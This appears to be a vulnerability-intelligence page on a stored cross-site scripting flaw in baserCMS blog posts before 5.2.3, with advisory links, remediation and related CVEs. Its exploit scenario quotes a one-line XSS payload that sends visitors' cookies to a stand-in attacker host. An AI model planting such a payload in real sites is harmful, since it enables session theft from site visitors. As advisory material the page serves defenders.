EUVD-2026-17263
GHSA-jmq3-x8q7-j9qm
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While CVSS scoring data is not available for this CVE, the practical risk is moderate to high depending on deployment context. XSS vulnerabilities in content management systems are inherently dangerous because they affect all visitors to public-facing pages, not just administrators. The affected CPE (cpe:2.3:a:baserproject:basercms:*:*:*:*:*:*:*:*) indicates all versions prior to 5.2.3 are vulnerable. The fact that a patch has been released and documented via GitHub Security Advisory and JVN suggests the issue was responsibly disclosed and addressed. However, without exploitation telemetry or EPSS data, the urgency must be assessed based on deployment prevalence: organizations running baserCMS with public-facing blogs should prioritize patching to prevent stored XSS attacks that could compromise visitor security. |
| Exploit ScenarioDerived | An attacker with blog post creation privileges (or a compromised account with such privileges) submits a blog post containing embedded JavaScript, such as <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When legitimate site visitors view the published blog post, the malicious script executes in their browser, stealing session cookies or credentials. Alternatively, an unauthenticated attacker could exploit a stored XSS vulnerability if the blog post input validation is completely bypassed, persisting the attack payload in the database. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Cross-site scripting (XSS) vulnerability in baserCMS prior to version 5.2.3 allows attackers to inject malicious scripts into blog posts, potentially enabling session hijacking, credential theft, or malware distribution to site visitors. The vulnerability affects the blog post functionality and has been patched in version 5.2.3; no public exploit code or active exploitation has been confirmed at time of analysis.
RemediationAI
Vendor-released patch: baserCMS 5.2.3. Organizations should immediately upgrade to version 5.2.3 or later. The patch is available via GitHub at https://github.com/baserproject/basercms/releases/tag/5.2.3. Detailed guidance is provided in the GitHub Security Advisory (https://github.com/baserproject/basercms/security/advisories/GHSA-jmq3-x8q7-j9qm) and the JVN advisory (https://basercms.net/security/JVN_20837860). As an interim mitigation, restrict blog post creation and editing to trusted administrators only, and implement a Web Application Firewall (WAF) with XSS filtering rules to block malicious script injection attempts.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
baserCMS is a PHP-based website development framework that processes user input in blog posts without sufficient sanitization or output encoding. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), which occurs when untrusted data from blog post content is rendered in the browser without proper HTML entity encoding or content security policies. This allows attackers to bypass input validation and inject arbitrary JavaScript that executes in the context of authenticated users or site visitors viewing the affected blog posts.
Know when Basercms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has a cross-site scripting vulnerability in blog posts. This issue has been patched in version 5.2.3.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in baserCMS Multiple Vulnerabilities
View all 9In baserCMS before 4.1.4, lib\Baser\Model\ThemeConfig.php allows remote attackers to execute arbitrary PHP code via the
SQL injection vulnerability in the baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows remote attackers to execute arb
baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita
baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita
baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows an attacker to execute arbitrary PHP code on the server via unspec
Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Mail version 3.0.10 and earlier allows remote attacke
Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Blog version 3.0.10 and earlier allows remote attacke
Exploit-DB